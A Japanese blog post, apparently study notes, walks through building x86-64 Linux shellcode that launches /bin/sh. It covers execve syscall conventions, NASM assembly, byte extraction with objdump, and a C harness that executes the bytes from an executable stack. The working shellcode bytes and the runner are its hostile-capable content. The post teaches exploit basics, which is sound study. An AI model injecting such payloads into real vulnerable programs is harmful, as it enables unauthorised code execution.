以下の記事を読んで自分なりに整理した内容を書く。
シェルを起動するアセンブリコードを書く
シェルを起動するだけのプログラムを作成した。
#include <unistd.h> int main() { char *argv[] = {"/bin/sh", NULL}; execve(argv[0], argv, NULL); return 0; }
これをgcc -static hello.c
でスタティックリンクしてコンパイルし、objdump
でmain
関数と__execve
関数を見てみる。
0000000000401745 <main>: 401745: f3 0f 1e fa endbr64 401749: 55 push %rbp 40174a: 48 89 e5 mov %rsp,%rbp 40174d: 48 83 ec 20 sub $0x20,%rsp 401751: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 401758: 00 00 40175a: 48 89 45 f8 mov %rax,-0x8(%rbp) 40175e: 31 c0 xor %eax,%eax 401760: 48 8d 05 9d 68 09 00 lea 0x9689d(%rip),%rax # 498004 <_IO_stdin_used+0x4> 401767: 48 89 45 e0 mov %rax,-0x20(%rbp) 40176b: 48 c7 45 e8 00 00 00 movq $0x0,-0x18(%rbp) 401772: 00 401773: 48 8b 45 e0 mov -0x20(%rbp),%rax 401777: 48 8d 4d e0 lea -0x20(%rbp),%rcx 40177b: ba 00 00 00 00 mov $0x0,%edx 401780: 48 89 ce mov %rcx,%rsi 401783: 48 89 c7 mov %rax,%rdi 401786: e8 e5 4f 04 00 call 446770 <__execve> 40178b: b8 00 00 00 00 mov $0x0,%eax 401790: 48 8b 55 f8 mov -0x8(%rbp),%rdx 401794: 64 48 2b 14 25 28 00 sub %fs:0x28,%rdx 40179b: 00 00 40179d: 74 05 je 4017a4 <main+0x5f> 40179f: e8 3c 84 04 00 call 449be0 <__stack_chk_fail> 4017a4: c9 leave 4017a5: c3 ret 4017a6: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) 4017ad: 00 00 00 0000000000446770 <__execve>: 446770: f3 0f 1e fa endbr64 446774: b8 3b 00 00 00 mov $0x3b,%eax 446779: 0f 05 syscall 44677b: 48 3d 01 f0 ff ff cmp $0xfffffffffffff001,%rax 446781: 73 01 jae 446784 <__execve+0x14> 446783: c3 ret 446784: 48 c7 c1 b8 ff ff ff mov $0xffffffffffffffb8,%rcx 44678b: f7 d8 neg %eax 44678d: 64 89 01 mov %eax,%fs:(%rcx) 446790: 48 83 c8 ff or $0xffffffffffffffff,%rax 446794: c3 ret 446795: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) 44679c: 00 00 00 44679f: 90 nop
__execve
関数の3行目(0x446779)でシステムコールが呼ばれている。どういった方法で引数が渡されているのだろうか。
Linux x86-64 では、以下のような呼出規約になっている。
- 整数・ポインタ引数: RDI, RSI, RDX, RCX, R8, R9
- 浮動小数点引数: XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6, XMM7
- 戻り値: RAX
- システムコールでは RCX の代わりに R10 を使用
- レジスタだけでは引数の数が不足する場合はスタックを利用
(引用:https://th0x4c.github.io/blog/2013/04/10/gdb-calling-convention/)
引数はrdi, rsi, rdx, …あたりを見ていけば把握できそうだ。これを踏まえてgdb
で各レジスタの値を確認してみる。
※ x
コマンドでメモリの中身が見られる。スラッシュ区切りでフォーマットを指定することもでき、たとえばx/10w
で4バイト単位を10個分表示したり、x/s
で文字列として表示したりすることができる。
(gdb) x/2wx $rdi 0x498004: 0x6e69622f 0x0068732f (gdb) x/s $rdi 0x498004: "/bin/sh" (gdb) x/1wx $rsi 0x7fffffffe540: 0x00498004
つまり各レジスタの番地と中身は、
- rdi: 0x498004 -> 0x6e69622f 0x0068732f ("/bin/sh")
- rsi: 0x7fffffffe540 -> 0x00498004
- rdx: 0x0 -> NULL
となる。
これをもとにアセンブリコードを書く。今回はNASM構文で書いた。
参考: X86アセンブラ/NASM構文 - Wikibooks
section .text global _start _start: mov rax, 0x0068732f6e69622f push rax mov rdi, rsp xor rdx, rdx push rdx push rdi mov rsi, rsp xor rax, rax mov eax, 0x3b syscall
NASM構文なのでnasm
でアセンブルする。その後ld
でリンク。
$ nasm -f elf64 sh.s $ ld -o sh sh.o
出来上がった実行ファイルを実行してみるとシェルが立ち上がったため、正常に動作していることが確認できた。
シェルコードの入手
以下の方法で、この実行ファイルからシェルコードを抜き出せる。
$ objdump -M intel -d sh | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x31\xc0\xb8\x3b\x00\x00\x00\x0f\x05%
\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x31\xc0\xb8\x3b\x00\x00\x00\x0f\x05
というのがシェルコードである。
※シェルコードに\x00
が含まれると正常に動作しないことがあるという記述を見かけたが、今回は後述の通り正常に実行できた。
シェルコードの実行
このシェルコードを実行するためのCプログラムshell.c
を書く。
#include <stdio.h> #include <sys/mman.h> int main() { const char shellcode[] = "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x31\xc0\xb8\x3b\x00\x00\x00\x0f\x05"; printf("shellcode = %p\n", shellcode); (*(void (*)())shellcode)(); }
gcc -z execstack shell.c
でスタック領域を実行可能にしながらコンパイルする。実行するとシェルコードが正常に動作し、シェルが起動した。
$ gcc -z execstack shell.c $ ./a.out shellcode = 0x7ffcce9c6df0 $